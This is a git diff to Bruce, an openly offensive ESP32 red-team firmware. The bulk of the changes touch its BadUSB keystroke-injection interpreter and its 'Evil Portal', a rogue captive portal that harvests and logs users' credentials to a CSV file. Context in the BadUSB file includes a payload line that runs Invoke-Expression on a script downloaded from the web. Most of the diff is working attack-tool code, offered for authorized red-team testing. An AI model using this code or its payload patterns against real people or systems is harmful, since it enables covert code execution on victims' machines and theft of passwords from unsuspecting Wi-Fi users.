diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml
new file mode 100644
index 000000000..a299a6546
--- /dev/null
+++ b/.github/FUNDING.yml
@@ -0,0 +1,14 @@
+# These are supported funding model platforms
+
+github: bmorcelli
+patreon: # Replace with a single Patreon username
+open_collective: # Replace with a single Open Collective username
+ko_fi: brucefw
+tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
+community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
+liberapay: # Replace with a single Liberapay username
+issuehunt: # Replace with a single IssueHunt username
+lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry
+polar: # Replace with a single Polar username
+buy_me_a_coffee: bmorcelliz
+custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
diff --git a/README.md b/README.md
index a78d0c001..515156b81 100644
--- a/README.md
+++ b/README.md
@@ -1,3 +1,5 @@
+
+
# Bruce
Bruce is meant to be a versatile ESP32 firmware that supports a ton of offensive features focusing to facilitate on Red Team operations.
@@ -87,7 +89,12 @@ For more information on each function supported by Bruce, [read our wiki here](h
- [x] Clock (New)
- [x] Restart
-
+# Acknowledgements
+
++ [@bmorcelli](https://github.com/bmorcelli) for new core and a bunch of new features.
++ [@IncursioHack](https://github.com/IncursioHack) for adding RF and RFID modules features.
++ [@Luidiblu](https://github.com/Luidiblu) for logo and UI design assistance.
+
# Disclaimer
Bruce is a tool for cyber offensive and red team operations, distributed under the terms of the Affero General Public License (AGPL). It is intended for legal and authorized security testing purposes only. Use of this software for any malicious or unauthorized activities is strictly prohibited. By downloading, installing, or using Bruce, you agree to comply with all applicable laws and regulations. This software is provided free of charge, and we do not accept payments for copies or modifications. The developers of Bruce assume no liability for any misuse of the software. Use at your own risk.
diff --git a/lib/Bad_Usb_Lib/USBHIDKeyboard.cpp b/lib/Bad_Usb_Lib/USBHIDKeyboard.cpp
index ee65139a1..19f151b37 100644
--- a/lib/Bad_Usb_Lib/USBHIDKeyboard.cpp
+++ b/lib/Bad_Usb_Lib/USBHIDKeyboard.cpp
@@ -211,9 +211,9 @@ void USBHIDKeyboard::releaseAll(void)
size_t USBHIDKeyboard::write(uint8_t c)
{
uint8_t p = press(c); // Keydown
- delay(70);
+ delay(15);
release(c); // Keyup
- delay(70);
+ delay(15);
return p; // just return the result of press() since release() almost always returns 1
}
diff --git a/media/bruce_banner.png b/media/bruce_banner.png
new file mode 100644
index 000000000..efab87d7a
Binary files /dev/null and b/media/bruce_banner.png differ
diff --git a/media/bruce_hd.png b/media/bruce_hd.png
new file mode 100644
index 000000000..7218a5b9a
Binary files /dev/null and b/media/bruce_hd.png differ
diff --git a/src/TV-B-Gone.cpp b/src/TV-B-Gone.cpp
index f5f56649d..9e9bf23d7 100644
--- a/src/TV-B-Gone.cpp
+++ b/src/TV-B-Gone.cpp
@@ -408,7 +408,8 @@ void otherIRcodes() {
//IR commands
void sendNECCommand(String address, String command) {
- IRsend irsend(IrTx); // Set the GPIO to be used to sending the message.
+ IRsend irsend(IrTx,true); // Set the GPIO to be used to sending the message.
+ irsend.begin();
displayRedStripe("Sending..",TFT_WHITE,FGCOLOR);
uint32_t addressValue = strtoul(address.c_str(), nullptr, 16);
uint32_t commandValue = strtoul(command.c_str(), nullptr, 16);
@@ -417,7 +418,8 @@ void sendNECCommand(String address, String command) {
}
void sendNECextCommand(String address, String command) {
- IRsend irsend(IrTx); // Set the GPIO to be used to sending the message.
+ IRsend irsend(IrTx,true); // Set the GPIO to be used to sending the message.
+ irsend.begin();
displayRedStripe("Sending..",TFT_WHITE,FGCOLOR);
uint32_t addressValue = strtoul(address.c_str(), nullptr, 16);
uint32_t commandValue = strtoul(command.c_str(), nullptr, 16);
@@ -426,7 +428,8 @@ void sendNECextCommand(String address, String command) {
}
void sendRC5Command(String address, String command) {
- IRsend irsend(IrTx); // Set the GPIO to be used to sending the message.
+ IRsend irsend(IrTx,true); // Set the GPIO to be used to sending the message.
+ irsend.begin();
displayRedStripe("Sending..",TFT_WHITE,FGCOLOR);
uint32_t addressValue = strtoul(address.c_str(), nullptr, 16);
uint32_t commandValue = strtoul(command.c_str(), nullptr, 16);
@@ -435,7 +438,8 @@ void sendRC5Command(String address, String command) {
}
void sendSamsungCommand(String address, String command) {
- IRsend irsend(IrTx); // Set the GPIO to be used to sending the message.
+ IRsend irsend(IrTx,true); // Set the GPIO to be used to sending the message.
+ irsend.begin();
displayRedStripe("Sending..",TFT_WHITE,FGCOLOR);
uint64_t data = ((uint64_t)strtoul(address.c_str(), nullptr, 16) << 32) | strtoul(command.c_str(), nullptr, 16);
irsend.sendSamsung36(data, 36);
@@ -443,7 +447,8 @@ void sendSamsungCommand(String address, String command) {
}
void sendSonyCommand(String address, String command) {
- IRsend irsend(IrTx); // Set the GPIO to be used to sending the message.
+ IRsend irsend(IrTx,true); // Set the GPIO to be used to sending the message.
+ irsend.begin();
displayRedStripe("Sending..",TFT_WHITE,FGCOLOR);
uint16_t data = (uint16_t)strtoul(command.c_str(), nullptr, 16);
uint16_t addressValue = (uint16_t)strtoul(address.c_str(), nullptr, 16);
@@ -452,7 +457,8 @@ void sendSonyCommand(String address, String command) {
}
void sendRawCommand(int frequency, String rawData) {
- IRsend irsend(IrTx); // Set the GPIO to be used to sending the message.
+ IRsend irsend(IrTx,true); // Set the GPIO to be used to sending the message.
+ irsend.begin();
displayRedStripe("Sending..",TFT_WHITE,FGCOLOR);
uint16_t dataBuffer[IR_DATA_BUFFER_SIZE];
int count = 0;
diff --git a/src/bad_usb.cpp b/src/bad_usb.cpp
index 49a9b37ea..e99cacdb3 100644
--- a/src/bad_usb.cpp
+++ b/src/bad_usb.cpp
@@ -37,8 +37,6 @@ STRING Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.
*/
void key_input(FS fs, String bad_script) {
- delay(1000);
-
if (fs.exists(bad_script) && bad_script!="") {
File payloadFile = fs.open(bad_script, "r");
if (payloadFile) {
@@ -95,30 +93,32 @@ void key_input(FS fs, String bad_script) {
Argument = Argument.c_str();
ArgChar = Argument.charAt(0);
- if (Argument == "F1" || Argument == "F2" || Argument == "F3" || Argument == "F4" || Argument == "F5" || Argument == "F6" || Argument == "F7" || Argument == "F8" || Argument == "F9" || Argument == "F10" || Argument == "F11" || Argument == "F2" || Argument == "DELETE" || Argument == "TAB") { ArgIsCmd = true; }
+ if (Argument == "F1" || Argument == "F2" || Argument == "F3" || Argument == "F4" || Argument == "F5" || Argument == "F6" || Argument == "F7" || Argument == "F8" || Argument == "F9" || Argument == "F10" || Argument == "F11" || Argument == "F2" || Argument == "DELETE" || Argument == "TAB" || Argument == "ENTER") { ArgIsCmd = true; }
+
+ restart: // restart checks
if (strcmp(Cmd, "REM") == 0) { Serial.println(" // " + Argument); } else { cmdFail++; }
if (strcmp(Cmd, "DELAY") == 0) { delay(Argument.toInt()); } else { cmdFail++; }
if (strcmp(Cmd, "DEFAULTDELAY") == 0 || strcmp(Cmd, "DEFAULT_DELAY") == 0) delay(DEF_DELAY); else { cmdFail++; } //100ms
if (strcmp(Cmd, "STRING") == 0) { Kb.print(Argument);} else { cmdFail++; }
- if (strcmp(Cmd, "STRINGLN") == 0) { Kb.println(Argument); } else { cmdFail++; }
- if (strcmp(Cmd, "ENTER") == 0) { Kb.press(KEY_RETURN); Kb.releaseAll(); } else { cmdFail++; }
- if (strcmp(Cmd, "SHIFT") == 0) { Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;} // Save Cmd into OldCmd and then set Cmd = Argument
- if (strcmp(Cmd, "ALT") == 0) { Kb.press(KEY_LEFT_ALT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;} // This is made to turn the code faster and to recover
- if (strcmp(Cmd, "CTRL-ALT") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_CTRL); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;} // the Cmd after the if else statements, in order to
- if (strcmp(Cmd, "CTRL-SHIFT") == 0) { Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}// the Cmd REPEAT work as intended.
- if (strcmp(Cmd, "CTRL-GUI") == 0) { Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "ALT-SHIFT") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "ALT-GUI") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "GUI-SHIFT") == 0) { Kb.press(KEY_LEFT_GUI); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "CTRL-ALT-SHIFT") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "CTRL-ALT-GUI") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "ALT-SHIFT-GUI") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_SHIFT); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "CTRL-SHIFT-GUI") == 0) { Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_SHIFT); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "GUI") == 0 || strcmp(Cmd, "WINDOWS") == 0) { Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
- if (strcmp(Cmd, "CTRL") == 0 || strcmp(Cmd, "CONTROL") == 0) { Kb.press(KEY_LEFT_CTRL); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str());}} else { cmdFail++;}
+ if (strcmp(Cmd, "STRINGLN") == 0) { Kb.println(Argument); } else { cmdFail++; }
+ if (strcmp(Cmd, "SHIFT") == 0) { Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;} // Save Cmd into OldCmd and then set Cmd = Argument
+ if (strcmp(Cmd, "ALT") == 0) { Kb.press(KEY_LEFT_ALT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;} // This is made to turn the code faster and to recover
+ if (strcmp(Cmd, "CTRL-ALT") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_CTRL); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;} // the Cmd after the if else statements, in order to
+ if (strcmp(Cmd, "CTRL-SHIFT") == 0) { Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}// the Cmd REPEAT work as intended.
+ if (strcmp(Cmd, "CTRL-GUI") == 0) { Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "ALT-SHIFT") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "ALT-GUI") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "GUI-SHIFT") == 0) { Kb.press(KEY_LEFT_GUI); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "CTRL-ALT-SHIFT") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_SHIFT); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "CTRL-ALT-GUI") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "ALT-SHIFT-GUI") == 0) { Kb.press(KEY_LEFT_ALT); Kb.press(KEY_LEFT_SHIFT); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "CTRL-SHIFT-GUI") == 0) { Kb.press(KEY_LEFT_CTRL); Kb.press(KEY_LEFT_SHIFT); Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "GUI") == 0 || strcmp(Cmd, "WINDOWS") == 0) { Kb.press(KEY_LEFT_GUI); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
+ if (strcmp(Cmd, "CTRL") == 0 || strcmp(Cmd, "CONTROL") == 0) { Kb.press(KEY_LEFT_CTRL); if (!ArgIsCmd) { Kb.press(ArgChar); Kb.releaseAll(); } else { strcpy(OldCmd, Cmd); strcpy(Cmd, Argument.c_str()); goto restart; }} else { cmdFail++;}
if (strcmp(Cmd, "ESC") == 0 || strcmp(Cmd, "ESCAPE") == 0) {Kb.press(KEY_ESC);Kb.releaseAll(); } else { cmdFail++;}
+ if (strcmp(Cmd, "ENTER") == 0) { Kb.press(KEY_RETURN); Kb.releaseAll(); } else { cmdFail++; }
if (strcmp(Cmd, "DOWNARROW") == 0) { Kb.press(KEY_DOWN_ARROW); Kb.releaseAll();} else { cmdFail++;}
if (strcmp(Cmd, "DOWN") == 0) { Kb.press(KEY_DOWN_ARROW); Kb.releaseAll();} else { cmdFail++;}
if (strcmp(Cmd, "LEFTARROW") == 0) { Kb.press(KEY_LEFT_ARROW); Kb.releaseAll();} else { cmdFail++;}
@@ -256,7 +256,7 @@ void usb_setup() {
loopOptions(options,false,true,"Keyboard Layout");
if (!kbChosen) Kb.begin(); // starts the KeyboardLayout_en_US as default if nothing had beed chosen (cancel selection)
USB.begin();
-
+ displayRedStripe("Preparing",TFT_WHITE, FGCOLOR);
delay(2000);
key_input(*fs, bad_script);
diff --git a/src/evil_portal.cpp b/src/evil_portal.cpp
index c0a4e57e2..f4407a869 100644
--- a/src/evil_portal.cpp
+++ b/src/evil_portal.cpp
@@ -19,13 +19,17 @@ void handleCreds() {
String csvLine = "";
last_cred="";
for (int i = 0; i < ep->args(); i++) {
- html_temp += ep->argName(i) + ": " + ep->arg(i) + "
\n";
- // Prepara dados para salvar no SD
- if (i != 0) {
- csvLine += ",";
+ String tmp=ep->argName(i);
+ if(tmp=="q" || tmp.startsWith("cup2") || tmp.startsWith("plain")) continue;
+ else {
+ html_temp += ep->argName(i) + ": " + ep->arg(i) + "
\n";
+ // Prepara dados para salvar no SD
+ if (i != 0) {
+ csvLine += ",";
+ }
+ csvLine += ep->argName(i) + ": " + ep->arg(i);
+ last_cred += ep->argName(i).substring(0,3) + ": " + ep->arg(i) + "\n";
}
- csvLine += ep->argName(i) + ": " + ep->arg(i);
- last_cred += ep->argName(i).substring(0,3) + ": " + ep->arg(i) + "\n";
}
html_temp += "\n";
saveToCSV("/Bruce_creds.csv", csvLine);
@@ -231,10 +235,10 @@ String creds_GET() {
}
String ssid_GET() {
- return getHtmlContents("
Set a new SSID for NEMO Portal:
"); + return getHtmlContents("Set a new SSID for Evil Portal:
"); } String ssid_POST() { - return getHtmlContents("NEMO Portal shutting down and restarting with SSID " + AP_name + ". Please reconnect."); + return getHtmlContents("Evil Portal shutting down and restarting with SSID " + AP_name + ". Please reconnect."); } String index_GET() { @@ -251,6 +255,8 @@ String clear_GET() { String email = ""; String password = ""; capturedCredentialsHtml = ""; + if (LittleFS.begin()) if (LittleFS.exists("/Bruce_creds.csv")) LittleFS.remove("/Bruce_creds.csv"); + if (SD.begin()) if (SD.exists("/Bruce_creds.csv")) SD.remove("/Bruce_creds.csv"); totalCapturedCredentials = 0; return getHtmlContents("The credentials list has been reset.